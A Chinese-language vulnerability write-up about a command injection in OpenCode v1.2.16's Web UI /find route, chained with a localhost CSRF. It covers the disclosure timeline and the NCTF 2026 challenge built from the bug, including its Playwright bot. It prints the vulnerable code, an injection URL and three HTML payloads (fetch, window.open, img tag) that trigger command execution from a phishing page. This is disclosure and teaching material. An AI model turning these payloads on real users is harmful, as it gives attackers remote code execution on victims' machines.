Table of contents
Analysis
今年给 NCTF 2026 出了一道关于 OpenCode 的题目,思路来源于两个月前挖的一个命令注入,当时通过 GitHub Advisory 提交给官方但是迟迟不见回复,后来一看竟然被官方偷偷修复了,着实有点难绷
OpenCode 存在一个 Web UI 功能,允许通过 opencode web 命令在本地启动 Web 网页,方便用户在浏览器中进行 vibe coding
Web UI 暴露了一系列的 API 路由,其中之一是 /find 路由
https://github.com/anomalyco/opencode/blob/v1.2.16/packages/opencode/src/server/routes/file.ts#L37
const pattern = c.req.valid("query").pattern // GET parameter
const result = await Ripgrep.search({
cwd: Instance.directory,
pattern,
limit: 10,
})
return c.json(result)
/find 路由会调用 ripgrep 命令对文件内容进行搜索
https://github.com/anomalyco/opencode/blob/v1.2.16/packages/opencode/src/file/ripgrep.ts#L333
const args = [`${await filepath()}`, "--json", "--hidden", "--glob='!.git/*'"]
if (input.follow) args.push("--follow")
if (input.glob) {
for (const g of input.glob) {
args.push(`--glob=${g}`)
}
}
if (input.limit) {
args.push(`--max-count=${input.limit}`)
}
args.push("--")
args.push(input.pattern)
const command = args.join(" ")
const result = await $`${{ raw: command }}`.cwd(input.cwd).quiet().nothrow() // command injection
if (result.exitCode !== 0) {
return []
}
跟进后发现会将 GET 输入拼接到 ripgrep 的参数里面然后直接执行命令
代码中的 $ 表示 Bun 的命令执行语法:https://bun.com/docs/runtime/shell
这种语法在默认情况下使用不会存在任何问题,然而这里却错误的加上了 raw 参数,这会导致传入的命令参数不会被转义,因此存在命令注入漏洞
在理想情况下,只需要向如下的 URL 发起 GET 请求就可以实现 RCE
http://127.0.0.1:4096/find?pattern=`open%20-a%20Calculator`
用户在使用的时候通常会通过 opencode web 命令在本地启动 Web UI,即使不按照文档的要求设置 OPENCODE_SERVER_PASSWORD 鉴权,用户也会认为不存在安全风险,因为 Web UI 默认只监听在 127.0.0.1:4096,不会被外部访问
警告:如果未设置 OPENCODE_SERVER_PASSWORD,服务器将没有安全保护。本地使用没有问题,但在网络访问时应当设置密码。
然而,结合上面的 /find 路由,这里实际上存在 localhost CSRF 漏洞(应该叫这个?)
假如用户使用浏览器访问了攻击者可控的钓鱼网页,那么攻击者就可以通过 HTML or JS 代码来向 localhost API 发起跨域请求,导致 CSRF
这种 localhost 跨域请求可以通过配置 CORS 策略来避免,OpenCode Web UI 服务端也实现了很严格的 CORS 策略
https://github.com/anomalyco/opencode/blob/v1.2.16/packages/opencode/src/server/server.ts#L108
.use(
cors({
origin(input) {
if (!input) return
if (input.startsWith("http://localhost:")) return input
if (input.startsWith("http://127.0.0.1:")) return input
if (
input === "tauri://localhost" ||
input === "http://tauri.localhost" ||
input === "https://tauri.localhost"
)
return input
// *.opencode.ai (https only, adjust if needed)
if (/^https:\/\/([a-z0-9-]+\.)*opencode\.ai$/.test(input)) {
return input
}
if (_corsWhitelist.includes(input)) {
return input
}
return
},
}),
)
但在这里实际上是不起作用的,因为上述的 /find 路由是一个 GET 请求,你仍然可以通过 fetch 来发起跨域请求,只是受限于 CORS 不能够读取 response 而已
当然也可以使用 window.open、location.href 以及 script、img 等支持跨域的各种标签来发起这个 GET 请求,有很多种利用手法
因此,在这种场景下,如果用户访问了 attacker.com,攻击者在 HTML 中使用如下的 payload,就可以直接在用户机器上实现 RCE
<script>
fetch("http://127.0.0.1:4096/find?pattern=`open%20-a%20Calculator`");
</script>
<script>
window.open("http://127.0.0.1:4096/find?pattern=`open%20-a%20Calculator`")
</script>
<img src="http://127.0.0.1:4096/find?pattern=`open%20-a%20Calculator`" />
Timeline
2026.02.24:提交漏洞报告
https://github.com/anomalyco/opencode/security/advisories/GHSA-9mfq-vx9c-m9r2
2026.03.03:补充漏洞信息
It's worth noting that the official OpenCode documentation (https://opencode.ai/docs/web/) explicitly states:
> Caution: If `OPENCODE_SERVER_PASSWORD` is not set, the server will be unsecured. **This is fine for local use** but should be set for network access.
However, even for local use, the security issue above still exist in this case.
2026.03.10:官方偷偷修复
https://github.com/anomalyco/opencode/commit/2f2856e20ad3433e6d82ff8d2e51f4ff14f9f098
https://github.com/anomalyco/opencode/pull/16286
2026.03.14:在 GitHub Advisory 中询问报告的处理进度,迟迟没有回复,索性直接出成 CTF 题 😋
NCTF 2026
https://github.com/X1cT34m/NCTF2026/tree/main/Web/OpenShell
其实就是基于前面的内容弄了一个 playwright bot,模拟用户被钓鱼的场景
const express = require("express");
const { chromium } = require("playwright-core");
const app = express();
app.use(express.json());
const visitUrl = async (url) => {
let browser;
try {
browser = await chromium.launch({
headless: true,
executablePath: "/usr/bin/chromium-headless-shell",
args: [
"--no-sandbox",
"--disable-gpu",
"--disable-dev-shm-usage",
],
});
const context = await browser.newContext();
const page = await context.newPage();
await page.goto(url, { waitUntil: "domcontentloaded", timeout: 15_000 });
await page.waitForTimeout(15_000);
await context.close();
} catch (error) {
console.error(JSON.stringify({ url, error: String(error) }));
} finally {
if (browser) {
await browser.close();
}
}
};
app.post("/report", (req, res) => {
const { url } = req.body;
const parsed = new URL(url);
if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
return res.status(400).json({
ok: false,
error: "invalid url",
});
}
if (!parsed.hostname.endsWith('.pages.dev')) {
return res.status(400).json({
ok: false,
error: "invalid url",
});
}
setImmediate(() => visitUrl(url));
return res.status(200).json({
ok: true,
message: "accepted",
});
});
app.listen(8000, "0.0.0.0", () => {
console.log(`bot listening on 0.0.0.0:8000`);
});
在 Cloudflare Pages 中部署相关 HTML 源码就行
赛后统计了一下解题情况,校内外一共 919 支队伍,其中只有 31 支队伍成功解出了这道题目,考虑到今年抓 PY 的情况,实际这个数字还要再少一点点